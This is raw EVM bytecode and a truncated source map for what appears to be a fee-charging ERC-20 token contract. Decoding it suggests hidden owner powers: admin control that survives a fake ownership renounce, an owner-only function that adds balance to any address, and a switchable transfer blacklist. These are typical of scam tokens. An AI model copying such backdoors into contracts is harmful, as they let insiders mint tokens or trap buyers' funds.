0x6080604052600436106103c75760003560e01c806388790a68116101f2578063c816841b1161010d578063ec28438a116100a0578063f2fde38b1161006f578063f2fde38b14610b5a578063f567bc0214610b7a578063f84ba65d14610baa578063f872858a14610bca57600080fd5b8063ec28438a14610ae4578063ef422a1814610b04578063f0cd1dac14610b24578063f1d5f51714610b3a57600080fd5b8063d158272d116100dc578063d158272d14610a42578063da00097d14610a67578063dc44b6a014610a88578063dd62ed3e14610a9e57600080fd5b8063c816841b146109c6578063c8607952146109e6578063c867d60b146109fc578063cab0347114610a2c57600080fd5b8063a5d69d1f11610185578063c2d4640e11610154578063c2d4640e1461095a578063c469b6dd1461097a578063c49b9a8014610990578063c5d24189146109b057600080fd5b8063a5d69d1f146108e4578063a83f53a714610904578063a9059cbb1461091a578063b412cb5b1461093a57600080fd5b806395d89b41116101c157806395d89b4114610884578063a073d37f14610899578063a08e671f146108ae578063a457c2d7146108c457600080fd5b806388790a681461080b5780638b42507f146108215780638da5cb5b14610851578063914eb66a1461086f57600080fd5b80633ecad271116102e25780635c4482dd116102755780637d1db4a5116102445780637d1db4a5146107a9578063807c2d9c146107bf57806382eefb43146107d5578063844d591c146107eb57600080fd5b80635c4482dd1461071d57806361a23c691461073d5780636c2c67d51461075357806370a082311461077357600080fd5b8063557ed1ba116102b1578063557ed1ba146106b4578063568c4676146106c757806357a5802f146106e75780635881f3ef146106fd57600080fd5b80633ecad271146106135780634a74bb02146106435780634cb80fd5146106645780635342acb41461068457600080fd5b80632198cf6c1161035a5780632b112e49116103295780632b112e491461059c578063313ce567146105b157806339509351146105d35780633b97084a146105f357600080fd5b80632198cf6c1461050857806323b872dd146105285780632563ae831461054857806327c8f8351461056857600080fd5b80631694505e116103965780631694505e1461048857806318160ddd146104a85780631870517a146104c757806318e26f73146104e757600080fd5b806306fdde03146103d3578063095ea7b3146103fe5780630d5e5c871461042e5780631245e3471461045057600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610beb565b6040516103f59190612a25565b60405180910390f35b34801561040a57600080fd5b5061041e610419366004612909565b610c7d565b60405190151581526020016103f5565b34801561043a57600080fd5b5061044e61044936600461298a565b610c94565b005b34801561045c57600080fd5b50600554610470906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561049457600080fd5b50601d54610470906001600160a01b031681565b3480156104b457600080fd5b506019545b6040519081526020016103f5565b3480156104d357600080fd5b5061044e6104e236600461298a565b610d10565b3480156104f357600080fd5b5060055461041e90600160a01b900460ff1681565b34801561051457600080fd5b5061044e6105233660046128d5565b610d7d565b34801561053457600080fd5b5061041e610543366004612895565b610df0565b34801561055457600080fd5b5061044e610563366004612934565b610e5b565b34801561057457600080fd5b506104707f000000000000000000000000000000000000000000000000000000000000dead81565b3480156105a857600080fd5b506104b9610ec1565b3480156105bd57600080fd5b5060045460405160ff90911681526020016103f5565b3480156105df57600080fd5b5061041e6105ee366004612909565b610f0b565b3480156105ff57600080fd5b5061044e61060e36600461294e565b610f41565b34801561061f57600080fd5b5061041e61062e366004612825565b600c6020526000908152604090205460ff1681565b34801561064f57600080fd5b50601e5461041e90600160a81b900460ff1681565b34801561067057600080fd5b5061044e61067f366004612825565b610f8e565b34801561069057600080fd5b5061041e61069f366004612825565b60096020526000908152604090205460ff1681565b3480156106c057600080fd5b50426104b9565b3480156106d357600080fd5b5061044e6106e23660046128d5565b610ffe565b3480156106f357600080fd5b506104b960135481565b34801561070957600080fd5b50610470610718366004612825565b611071565b34801561072957600080fd5b5061044e610738366004612934565b611423565b34801561074957600080fd5b506104b960145481565b34801561075f57600080fd5b5061044e61076e366004612825565b611489565b34801561077f57600080fd5b506104b961078e366004612825565b6001600160a01b031660009081526007602052604090205490565b3480156107b557600080fd5b506104b9601a5481565b3480156107cb57600080fd5b506104b9601b5481565b3480156107e157600080fd5b506104b960175481565b3480156107f757600080fd5b5061044e6108063660046128d5565b6114f3565b34801561081757600080fd5b506104b960105481565b34801561082d57600080fd5b5061041e61083c366004612825565b600b6020526000908152604090205460ff1681565b34801561085d57600080fd5b506000546001600160a01b0316610470565b34801561087b57600080fd5b5061044e611566565b34801561089057600080fd5b506103e86115fe565b3480156108a557600080fd5b50601c546104b9565b3480156108ba57600080fd5b506104b960185481565b3480156108d057600080fd5b5061041e6108df366004612909565b61160d565b3480156108f057600080fd5b5061044e6108ff366004612934565b61165c565b34801561091057600080fd5b506104b960155481565b34801561092657600080fd5b5061041e610935366004612909565b6116c2565b34801561094657600080fd5b5061044e610955366004612966565b6116cf565b34801561096657600080fd5b5061044e61097536600461298a565b611757565b34801561098657600080fd5b506104b9600f5481565b34801561099c57600080fd5b5061044e6109ab366004612934565b6117c4565b3480156109bc57600080fd5b506104b9600e5481565b3480156109d257600080fd5b50601e54610470906001600160a01b031681565b3480156109f257600080fd5b506104b960115481565b348015610a0857600080fd5b5061041e610a17366004612825565b600a6020526000908152604090205460ff1681565b348015610a3857600080fd5b506104b960125481565b348015610a4e57600080fd5b506004546104709061010090046001600160a01b031681565b348015610a7357600080fd5b50601e5461041e90600160b01b900460ff1681565b348015610a9457600080fd5b506104b9600d5481565b348015610aaa57600080fd5b506104b9610ab936600461285d565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b348015610af057600080fd5b5061044e610aff36600461294e565b611864565b348015610b1057600080fd5b5061044e610b1f3660046128d5565b6118b1565b348015610b3057600080fd5b506104b960165481565b348015610b4657600080fd5b5061044e610b5536600461294e565b611924565b348015610b6657600080fd5b5061044e610b75366004612825565b611971565b348015610b8657600080fd5b5061041e610b95366004612825565b60066020526000908152604090205460ff1681565b348015610bb657600080fd5b5061044e610bc53660046128d5565b611a79565b348015610bd657600080fd5b50601e5461041e90600160b81b900460ff1681565b606060028054610bfa90612b78565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2690612b78565b8015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b5050505050905090565b6000610c8a338484611b4b565b5060015b92915050565b6001546001600160a01b0316336001600160a01b03161480610cc057506000546001600160a01b031633145b610ce55760405162461bcd60e51b8152600401610cdc90612a78565b60405180910390fd5b601083905560118290556012819055610d0881610d028585611aec565b90611aec565b601755505050565b6001546001600160a01b0316336001600160a01b03161480610d3c57506000546001600160a01b031633145b610d585760405162461bcd60e51b8152600401610cdc90612a78565b600d839055600e829055600f819055610d7581610d028585611aec565b601655505050565b6001546001600160a01b0316336001600160a01b03161480610da957506000546001600160a01b031633145b610dc55760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000610dfd848484611c6f565b50610e508433610e4b85604051806060016040528060288152602001612be2602891396001600160a01b038a16600090815260086020908152604080832033845290915290205491906120a1565b611b4b565b5060015b9392505050565b6001546001600160a01b0316336001600160a01b03161480610e8757506000546001600160a01b031633145b610ea35760405162461bcd60e51b8152600401610cdc90612a78565b601e8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260076020526040812054601954610f06916120db565b905090565b3360008181526008602090815260408083206001600160a01b03871684529091528120549091610c8a918590610e4b9086611aec565b6001546001600160a01b0316336001600160a01b03161480610f6d57506000546001600160a01b031633145b610f895760405162461bcd60e51b8152600401610cdc90612a78565b601c55565b6001546001600160a01b0316336001600160a01b03161480610fba57506000546001600160a01b031633145b610fd65760405162461bcd60e51b8152600401610cdc90612a78565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001546001600160a01b0316336001600160a01b0316148061102a57506000546001600160a01b031633145b6110465760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001546000906001600160a01b0316336001600160a01b031614806110a057506000546001600160a01b031633145b6110bc5760405162461bcd60e51b8152600401610cdc90612a78565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110fa57600080fd5b505afa15801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612841565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561117a57600080fd5b505afa15801561118e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b29190612841565b6040516001600160e01b031960e085901b1681526001600160a01b0392831660048201529116602482015260440160206040518083038186803b1580156111f857600080fd5b505afa15801561120c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112309190612841565b91506001600160a01b0382166113b457806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561127957600080fd5b505afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b19190612841565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112f957600080fd5b505afa15801561130d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113319190612841565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561137957600080fd5b505af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b19190612841565b91505b601e80546001600160a01b03199081166001600160a01b038581169182178455601d8054909316948116949094179091556000908152600a60209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6001546001600160a01b0316336001600160a01b0316148061144f57506000546001600160a01b031633145b61146b5760405162461bcd60e51b8152600401610cdc90612a78565b60058054911515600160a01b0260ff60a01b19909216919091179055565b6001546001600160a01b0316336001600160a01b031614806114b557506000546001600160a01b031633145b6114d15760405162461bcd60e51b8152600401610cdc90612a78565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316336001600160a01b0316148061151f57506000546001600160a01b031633145b61153b5760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6001546001600160a01b0316336001600160a01b0316148061159257506000546001600160a01b031633145b6115ae5760405162461bcd60e51b8152600401610cdc90612a78565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b606060038054610bfa90612b78565b6000610c8a3384610e4b85604051806060016040528060258152602001612c0a602591393360009081526008602090815260408083206001600160a01b038d16845290915290205491906120a1565b6001546001600160a01b0316336001600160a01b0316148061168857506000546001600160a01b031633145b6116a45760405162461bcd60e51b8152600401610cdc90612a78565b601e8054911515600160b01b0260ff60b01b19909216919091179055565b6000610e50338484611c6f565b6001546001600160a01b0316336001600160a01b031614806116fb57506000546001600160a01b031633145b6117175760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03811660009081526007602052604090205461173a9083611aec565b6001600160a01b0390911660009081526007602052604090205550565b6001546001600160a01b0316336001600160a01b0316148061178357506000546001600160a01b031633145b61179f5760405162461bcd60e51b8152600401610cdc90612a78565b6013839055601482905560158190556117bc81610d028585611aec565b601855505050565b6001546001600160a01b0316336001600160a01b031614806117f057506000546001600160a01b031633145b61180c5760405162461bcd60e51b8152600401610cdc90612a78565b601e8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061185990831515815260200190565b60405180910390a150565b6001546001600160a01b0316336001600160a01b0316148061189057506000546001600160a01b031633145b6118ac5760405162461bcd60e51b8152600401610cdc90612a78565b601a55565b6001546001600160a01b0316336001600160a01b031614806118dd57506000546001600160a01b031633145b6118f95760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6001546001600160a01b0316336001600160a01b0316148061195057506000546001600160a01b031633145b61196c5760405162461bcd60e51b8152600401610cdc90612a78565b601b55565b6001546001600160a01b0316336001600160a01b0316148061199d57506000546001600160a01b031633145b6119b95760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b038116611a1e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610cdc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b0316336001600160a01b03161480611aa557506000546001600160a01b031633145b611ac15760405162461bcd60e51b8152600401610cdc90612a78565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b600080611af98385612b0a565b905083811015610e545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cdc565b6001600160a01b038316611bad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610cdc565b6001600160a01b038216611c0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610cdc565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416611cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610cdc565b6001600160a01b038316611d375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610cdc565b600554600160a01b900460ff1615611d9a576001600160a01b03841660009081526006602052604090205460ff1615611d9a5760405162461bcd60e51b8152602060048201526005602482015264045524332360dc1b6044820152606401610cdc565b601e54600160a01b900460ff1615611dbe57611db784848461211d565b9050610e54565b6001600160a01b0384166000908152600b602052604090205460ff16158015611e0057506001600160a01b0383166000908152600b602052604090205460ff16155b15611e6857601a54821115611e685760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610cdc565b30600090815260076020526040902054601c5481108015908190611e965750601e54600160a01b900460ff16155b8015611ebb57506001600160a01b0386166000908152600c602052604090205460ff16155b8015611ed05750601e54600160a81b900460ff165b15611ef657601e54600160b01b900460ff1615611eed57601c5491505b611ef682612203565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260079091529190912054611f489186906120a1565b6001600160a01b038716600090815260076020908152604080832093909355600990529081205460ff1680611f9557506001600160a01b03861660009081526009602052604090205460ff165b611fa957611fa487878761233e565b611fab565b845b601e54909150600160b81b900460ff168015611fe057506001600160a01b0386166000908152600a602052604090205460ff16155b1561201657601b5461200b82610d02896001600160a01b031660009081526007602052604090205490565b111561201657600080fd5b6001600160a01b0386166000908152600760205260409020546120399082611aec565b6001600160a01b0380881660008181526007602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061208d9085815260200190565b60405180910390a360019350505050610e54565b600081848411156120c55760405162461bcd60e51b8152600401610cdc9190612a25565b5060006120d28486612b61565b95945050505050565b6000610e5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260079091529182205461216e9184906120a1565b6001600160a01b03808616600090815260076020526040808220939093559085168152205461219d9083611aec565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906121f19086815260200190565b60405180910390a35060019392505050565b601e805460ff60a01b1916600160a01b179055601854601354600091612239916002916122339182908790612444565b906124c3565b9050600061224783836120db565b905061225281612505565b6013544790600090612272906122699060026124c3565b601854906120db565b905060006122946002612233846122336013548861244490919063ffffffff16565b905060006122b1836122336015548761244490919063ffffffff16565b905060006122c9826122c387866120db565b906120db565b905080156122ec576004546122ec9061010090046001600160a01b0316826126c3565b811561230857600554612308906001600160a01b0316836126c3565b6000831180156123185750600087115b156123275761232787846126fe565b5050601e805460ff60a01b19169055505050505050565b6001600160a01b0383166000908152600c6020526040812054819060ff16156123825761237b60646122336016548661244490919063ffffffff16565b90506123c0565b6001600160a01b0384166000908152600c602052604090205460ff16156123c0576123bd60646122336017548661244490919063ffffffff16565b90505b801561243a57306000908152600760205260409020546123e09082611aec565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124319085815260200190565b60405180910390a35b6120d283826120db565b60008261245357506000610c8e565b600061245f8385612b42565b90508261246c8583612b22565b14610e545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610cdc565b6000610e5483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127e2565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061254857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561259c57600080fd5b505afa1580156125b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125d49190612841565b816001815181106125f557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601d5461261b9130911684611b4b565b601d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612654908590600090869030904290600401612ace565b600060405180830381600087803b15801561266e57600080fd5b505af1158015612682573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516126b7929190612aad565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156126f9573d6000803e3d6000fd5b505050565b601d546127169030906001600160a01b031684611b4b565b601d546001600160a01b031663f305d71982308560008061273f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156127a257600080fd5b505af11580156127b6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127db91906129b5565b5050505050565b600081836128035760405162461bcd60e51b8152600401610cdc9190612a25565b5060006120d28486612b22565b8035801515811461282057600080fd5b919050565b600060208284031215612836578081fd5b8135610e5481612bc9565b600060208284031215612852578081fd5b8151610e5481612bc9565b6000806040838503121561286f578081fd5b823561287a81612bc9565b9150602083013561288a81612bc9565b809150509250929050565b6000806000606084860312156128a9578081fd5b83356128b481612bc9565b925060208401356128c481612bc9565b929592945050506040919091013590565b600080604083850312156128e7578182fd5b82356128f281612bc9565b915061290060208401612810565b90509250929050565b6000806040838503121561291b578182fd5b823561292681612bc9565b946020939093013593505050565b600060208284031215612945578081fd5b610e5482612810565b60006020828403121561295f578081fd5b5035919050565b60008060408385031215612978578182fd5b82359150602083013561288a81612bc9565b60008060006060848603121561299e578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156129c9578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b83811015612a1a5781516001600160a01b0316875295820195908201906001016129f5565b509495945050505050565b6000602080835283518082850152825b81811015612a5157858101830151858201604001528201612a35565b81811115612a625783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000612ac660408301846129e2565b949350505050565b85815284602082015260a060408201526000612aed60a08301866129e2565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612b1d57612b1d612bb3565b500190565b600082612b3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b5c57612b5c612bb3565b500290565b600082821015612b7357612b73612bb3565b500390565b600181811c90821680612b8c57607f821691505b60208210811415612bad57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114612bde57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220857180710e0a0ec99edb080fa4304939bc4cf5ccfbbcd1af8cb0692209aae4f864736f6c63430008040033

Deployed Bytecode Sourcemap

14536:15273:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18245:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19884:161;;;;;;;;;;-1:-1:-1;19884:161:0;;;;;:::i;:::-;;:::i;:::-;;;5599:14:1;;5592:22;5574:41;;5562:2;5547:18;19884:161:0;5529:92:1;21158:340:0;;;;;;;;;;-1:-1:-1;21158:340:0;;;;;:::i;:::-;;:::i;:::-;;14885:94;;;;;;;;;;-1:-1:-1;14885:94:0;;;;-1:-1:-1;;;;;14885:94:0;;;;;;-1:-1:-1;;;;;4245:32:1;;;4227:51;;4215:2;4200:18;14885:94:0;4182:102:1;16270:41:0;;;;;;;;;;-1:-1:-1;16270:41:0;;;;-1:-1:-1;;;;;16270:41:0;;;18522:100;;;;;;;;;;-1:-1:-1;18602:12:0;;18522:100;;;10501:25:1;;;10489:2;10474:18;18522:100:0;10456:76:1;20817:333:0;;;;;;;;;;-1:-1:-1;20817:333:0;;;;;:::i;:::-;;:::i;15074:24::-;;;;;;;;;;-1:-1:-1;15074:24:0;;;;-1:-1:-1;;;15074:24:0;;;;;;22120:135;;;;;;;;;;-1:-1:-1;22120:135:0;;;;;:::i;:::-;;:::i;24447:313::-;;;;;;;;;;-1:-1:-1;24447:313:0;;;;;:::i;:::-;;:::i;21999:113::-;;;;;;;;;;-1:-1:-1;21999:113:0;;;;;:::i;:::-;;:::i;14986:81::-;;;;;;;;;;;;;;;23089:128;;;;;;;;;;;;;:::i;18431:83::-;;;;;;;;;;-1:-1:-1;18497:9:0;;18431:83;;18497:9;;;;11603:36:1;;11591:2;11576:18;18431:83:0;11558:87:1;18908:218:0;;;;;;;;;;-1:-1:-1;18908:218:0;;;;;:::i;:::-;;:::i;22373:124::-;;;;;;;;;;-1:-1:-1;22373:124:0;;;;;:::i;:::-;;:::i;15453:45::-;;;;;;;;;;-1:-1:-1;15453:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16385:40;;;;;;;;;;-1:-1:-1;16385:40:0;;;;-1:-1:-1;;;16385:40:0;;;;;;22505:139;;;;;;;;;;-1:-1:-1;22505:139:0;;;;;:::i;:::-;;:::i;15282:50::-;;;;;;;;;;-1:-1:-1;15282:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6607:90;;;;;;;;;;-1:-1:-1;6674:15:0;6607:90;;19771:103;;;;;;;;;;-1:-1:-1;19771:103:0;;;;;:::i;:::-;;:::i;15760:34::-;;;;;;;;;;;;;;;;23363:807;;;;;;;;;;-1:-1:-1;23363:807:0;;;;;:::i;:::-;;:::i;19683:80::-;;;;;;;;;;-1:-1:-1;19683:80:0;;;;;:::i;:::-;;:::i;15801:34::-;;;;;;;;;;;;;;;;22652:113;;;;;;;;;;-1:-1:-1;22652:113:0;;;;;:::i;:::-;;:::i;18630:119::-;;;;;;;;;;-1:-1:-1;18630:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;18723:18:0;18696:7;18723:18;;;:9;:18;;;;;;;18630:119;16080:53;;;;;;;;;;;;;;;;16141:51;;;;;;;;;;;;;;;;15923:37;;;;;;;;;;;;;;;;20398:129;;;;;;;;;;-1:-1:-1;20398:129:0;;;;;:::i;:::-;;:::i;15634:36::-;;;;;;;;;;;;;;;;15398:48;;;;;;;;;;-1:-1:-1;15398:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5855:79;;;;;;;;;;-1:-1:-1;5893:7:0;5920:6;-1:-1:-1;;;;;5920:6:0;5855:79;;6116:227;;;;;;;;;;;;;:::i;18336:87::-;;;;;;;;;;;;;:::i;19411:120::-;;;;;;;;;;-1:-1:-1;19500:23:0;;19411:120;;15967:43;;;;;;;;;;;;;;;;19134:269;;;;;;;;;;-1:-1:-1;19134:269:0;;;;;:::i;:::-;;:::i;22952:125::-;;;;;;;;;;-1:-1:-1;22952:125:0;;;;;:::i;:::-;;:::i;15842:29::-;;;;;;;;;;;;;;;;24272:167;;;;;;;;;;-1:-1:-1;24272:167:0;;;;;:::i;:::-;;:::i;19539:136::-;;;;;;;;;;-1:-1:-1;19539:136:0;;;;;:::i;:::-;;:::i;21510:358::-;;;;;;;;;;-1:-1:-1;21510:358:0;;;;;:::i;:::-;;:::i;15591:30::-;;;;;;;;;;;;;;;;22773:171;;;;;;;;;;-1:-1:-1;22773:171:0;;;;;:::i;:::-;;:::i;15549:35::-;;;;;;;;;;;;;;;;16318:26;;;;;;;;;;-1:-1:-1;16318:26:0;;;;-1:-1:-1;;;;;16318:26:0;;;15677:36;;;;;;;;;;;;;;;;15339:52;;;;;;;;;;-1:-1:-1;15339:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15720:31;;;;;;;;;;;;;;;;14779:99;;;;;;;;;;-1:-1:-1;14779:99:0;;;;;;;-1:-1:-1;;;;;14779:99:0;;;16432:45;;;;;;;;;;-1:-1:-1;16432:45:0;;;;-1:-1:-1;;;16432:45:0;;;;;;15507:35;;;;;;;;;;;;;;;;18757:143;;;;;;;;;;-1:-1:-1;18757:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;18865:18:0;;;18838:7;18865:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;18757:143;21880:111;;;;;;;;;;-1:-1:-1;21880:111:0;;;;;:::i;:::-;;:::i;20674:135::-;;;;;;;;;;-1:-1:-1;20674:135:0;;;;;:::i;:::-;;:::i;15880:36::-;;;;;;;;;;;;;;;;22263:102;;;;;;;;;;-1:-1:-1;22263:102:0;;;;;:::i;:::-;;:::i;6351:244::-;;;;;;;;;;-1:-1:-1;6351:244:0;;;;;:::i;:::-;;:::i;15105:39::-;;;;;;;;;;-1:-1:-1;15105:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;20535:127;;;;;;;;;;-1:-1:-1;20535:127:0;;;;;:::i;:::-;;:::i;16484:35::-;;;;;;;;;;-1:-1:-1;16484:35:0;;;;-1:-1:-1;;;16484:35:0;;;;;;18245:83;18282:13;18315:5;18308:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18245:83;:::o;19884:161::-;19959:4;19976:39;202:10;19999:7;20008:6;19976:8;:39::i;:::-;-1:-1:-1;20033:4:0;19884:161;;;;;:::o;21158:340::-;6008:13;;-1:-1:-1;;;;;6008:13:0;202:10;-1:-1:-1;;;;;5989:32:0;;:58;;;-1:-1:-1;6025:6:0;;-1:-1:-1;;;;;6025:6:0;202:10;6025:22;5989:58;5981:103;;;;-1:-1:-1;;;5981:103:0;;;;;;;:::i;:::-;;;;;;;;;21281:17:::1;:35:::0;;;21327:17:::1;:35:::0;;;21373:12:::1;:25:::0;;;21432:58:::1;21388:10:::0;21432:40:::1;21301:15:::0;21347;21432:21:::1;:40::i;:::-;:44:::0;::::1;:58::i;:::-;21411:18;:79:::0;-1:-1:-1;;;21158:340:0:o;20817:333::-;6008:13;;-1:-1:-1;;;;;6008:13:0;202:10;-1:-1:-1;;;;;5989:32:0;;:58;;;-1:-1:-1;6025:6:0;;-1:-1:-1;;;;;6025:6:0;202:10;6025:22;5989:58;5981:103;;;;-1:-1:-1;;;5981:103:0;;;;;;;:::i;:::-;20940:16:::1;:34:::0;;;20985:16:::1;:34:::0;;;21030:11:::1;:24:::0;;;21087:55:::1;21044:10:::0;21087:38:::1;20959:15:::0;21004;21087:20:::1;:38::i;:55::-;21067:17;:75:::0;-1:-1:-1;;;20817:333:0:o;22120:135::-;6008:13;;-1:-1:-1;;;;;6008:13:0;202:10;-1:-1:-1;;;;;5989:32:0;;:58;;;-1:-1:-1;6025:6:0;;-1:-1:-1;;;;;6025:6:0;202:10;6025:22;5989:58;5981:103;;;;-1:-1:-1;;;5981:103:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22211:27:0;;;::::1;;::::0;;;:19:::1;:27;::::0;;;;:36;;-1:-1:-1;;22211:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;22120:135::o;24447:313::-;24545:4;24562:36;24572:6;24580:9;24591:6;24562:9;:36::i;:::-;-1:-1:-1;24609:121:0;24618:6;202:10;24640:89;24678:6;24640:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;24640:19:0;;;;;;:11;:19;;;;;;;;202:10;24640:33;;;;;;;;;;:37;:89::i;:::-;24609:8;:121::i;:::-;-1:-1:-1;24748:4:0;24447:313;;;;;;:::o;21999:113::-;6008:13;;-1: